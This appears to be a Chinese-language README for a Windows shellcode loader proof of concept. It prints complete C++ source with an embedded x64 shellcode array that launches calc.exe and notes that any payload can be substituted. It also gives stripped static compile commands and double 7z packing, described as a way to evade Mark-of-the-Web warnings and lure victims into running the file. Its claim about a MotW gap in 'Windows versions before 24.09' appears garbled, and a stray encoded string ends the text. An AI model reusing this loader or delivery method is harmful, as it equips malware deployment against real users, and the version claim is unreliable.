Windows Shellcode 加载器 PoC
一个用于 Windows 平台安全研究的 Shellcode 加载器概念验证实现,展示了内存分配、页面权限修改、线程创建等核心技术,并提供了完整的编译和打包流程。
功能特性
- Shellcode 执行 :使用
VirtualAlloc分配可读写内存,RtlMoveMemory复制载荷,VirtualProtect修改为可执行权限 - 线程注入技术 :通过
CreateThread创建新线程执行载荷,并使用WaitForSingleObject等待执行完成 - 绕过 MotW 机制:利用 Windows 24.09 版本之前缺乏 MotW(Mark of the Web)机制的漏洞,通过压缩文件诱导用户执行
- MinGW-w64 编译支持:提供完整的跨平台编译命令,支持生成静态链接的 Windows 可执行文件
- 载荷体积优化:编译后通过 7z 进行两次压缩,减小文件体积便于传播测试
安装指南
系统要求
- Windows 操作系统(目标执行环境)
- Linux/macOS/Windows(编译环境)
- MinGW-w64 工具链(交叉编译)
- 7-Zip 压缩工具
编译环境配置(以 Linux 为例)
bash
# 安装 MinGW-w64
sudo apt-get install mingw-w64
# 安装 7-Zip
sudo apt-get install p7zip-full
编译步骤
bash
# 使用 MinGW-w64 编译 C++ 代码
x86_64-w64-mingw32-g++ loader.cpp -o loader.exe -s -static
# 对生成的 exe 进行两次 7z 压缩(减小体积)
7z a loader.7z loader.exe
7z a loader_final.7z loader.7z
使用说明
代码结构解析
cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
核心执行流程:
- 内存分配 :
VirtualAlloc(0, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)在进程虚拟地址空间中分配可读写内存区域 - 载荷写入 :
RtlMoveMemory(payload_mem, p, len)将 Shellcode 字节数组复制到分配的内存中 - 权限提升 :
VirtualProtect(payload_mem, len, PAGE_EXECUTE_READ, &oldprotect)将内存页权限修改为可执行可读 - 线程创建 :
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)payload_mem, 0, 0, 0)创建新线程从载荷入口点执行 - 等待完成 :
WaitForSingleObject(th, -1)等待线程执行结束
Shellcode 说明
代码中包含的 Shellcode 执行了以下操作:
- 调用
WinExec函数启动calc.exe(计算器程序) - 作为 PoC 演示,实际攻击场景可替换为任意 Shellcode
载荷替换方法
cpp
unsigned char p[] = {
// 在此处替换为自定义 Shellcode 字节数组
0xFC, 0x48, 0x83, 0xE4, ...
};
unsigned int len = sizeof(p);
核心代码
Shellcode 加载器主程序
cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
DWORD oldprotect = 0;
// 定义 Shellcode 载荷(calc.exe 启动代码)
unsigned char p[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,
0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,
0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48,
0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1,
0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,
0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A,
0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B,
0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E,
0x65, 0x78, 0x65, 0x00
};
// 计算载荷长度
unsigned int len = sizeof(p);
// 步骤1:分配可读写内存
void *payload_mem = VirtualAlloc(0, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 步骤2:将 Shellcode 复制到分配的内存
RtlMoveMemory(payload_mem, p, len);
// 步骤3:修改内存权限为可执行可读
BOOL rv = VirtualProtect(payload_mem, len, PAGE_EXECUTE_READ, &oldprotect);
// 步骤4:创建线程执行 Shellcode
if (rv != 0) {
HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)payload_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
编译与打包脚本
bash
# 使用 MinGW-w64 进行交叉编译
# -s: 去除符号表,减小文件体积
# -static: 静态链接,避免依赖外部 DLL
x86_64-w64-mingw32-g++ loader.cpp -o loader.exe -s -static
# 两次 7z 压缩,进一步减小体积
# 由于该漏洞需要用户交互,压缩文件便于通过社交工程方式诱导执行
7z a loader.7z loader.exe
7z a loader_final.7z loader.7z
安全防护绕过说明
MotW(Mark of the Web)机制:
- Windows 从互联网下载的文件会添加 MotW 标记,触发 SmartScreen 和安全警告
- 24.09 版本之前的 Windows 存在 MotW 机制缺失问题
- 通过压缩文件(.7z)可以绕过部分安全检查,诱导受害者手动点击执行
技术演进:
- 该方法展示了社会工程学与系统漏洞结合的典型攻击路径
- 适用于安全研究、渗透测试和漏洞验证场景
- 建议企业和个人用户及时更新 Windows 系统以获取 MotW 保护 6HFtX5dABrKlqXeO5PUv/y22SIb5maZ+n90bpK6X8kVugWkbkn8hd4nwV4trE7U7